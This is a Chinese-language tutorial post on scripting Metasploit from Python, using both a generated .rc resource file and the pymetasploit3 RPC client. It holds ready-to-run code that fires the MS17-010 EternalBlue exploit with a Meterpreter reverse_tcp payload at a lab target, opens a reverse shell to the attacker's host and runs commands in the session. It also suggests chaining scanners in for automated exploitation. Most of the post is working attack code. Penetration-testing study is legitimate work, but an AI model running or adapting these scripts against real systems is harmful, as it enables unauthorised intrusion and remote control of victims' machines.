这里介绍两种使用python来操控metasploit的方法,一种是python调用系统命令来实现,另一只是使用pymetasploit3库来实现。
0x01 Python调用系统命令来控制
第一种方法是将参数信息写入.rc后缀的文件中,利用os库,调用sysytem()函数来执行msfconsole,利用msfconsole -r参数接文件来进行实现。
安装os库:
以ms17_010为例,kali ip:192.168.129 目标ip:192.168.1.128
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import os
def Handler(configFile, lhost, lport, rhost):
configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')
configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + str(lhost) + '\n')
configFile.write('set RHOST ' + str(rhost) + '\n')
configFile.write('exploit\n')
def main():
rhost = '192.168.1.128'
configFile = open('ms17_010.rc', 'w')
lhost = '192.168.1.129'
lport = 4444
Handler(configFile, lhost, lport, rhost)
configFile.close()
print('开始metasploitl利用:')
os.system('msfconsole -q -r ms17_010.rc')
main()
|
第二种方法是直接用Pymetasploit库来对metasploit进行操作,这种方法需要开启msfrpcd服务或者在msfconsole中打开msgrpc插件。
参考文档: https://github.com/DanMcInerney/pymetasploit3
安装
1 2
| pipenv install --three pymetasploit3 pipenv shell
|
或者
1
| pip3 install --user pymetasploit3
|
连接
连接到metasploit需要打开PRC服务,方法如下:
在终端中:
1
| $ msfrpcd -P yourpassword -S
|
连接代码
1 2
| >>> from pymetasploit3.msfrpc import MsfRpcClient >>> client = MsfRpcClient('yourpassword', ssl=True)
|
或者在msfconsole中:
1 2
| $ msfconsole msf> load msgrpc [Pass=yourpassword]
|
连接代码
1 2
| >>> from pymetasploit3.msfrpc import MsfRpcClient >>> client = MsfRpcClient('yourpassword', port=55552, True)
|
示例
以ms17_010为例,kali ip:192.168.129 目标ip:192.168.1.128
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pymetasploit3.msfrpc import MsfRpcClient client = MsfRpcClient('password')
exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue') exploit['RHOSTS'] = '192.168.1.128' payload = client.modules.use('payload', 'windows/x64/meterpreter/reverse_tcp') payload['LHOST'] = '192.168.1.129' payload['LPORT'] = 4444 exploit.execute(payload=payload)
shell = client.sessions.session('1') shell.write('pwd') print(shell.read())
|
可以同时调用nmap、nessus等,实现自动化漏洞利用。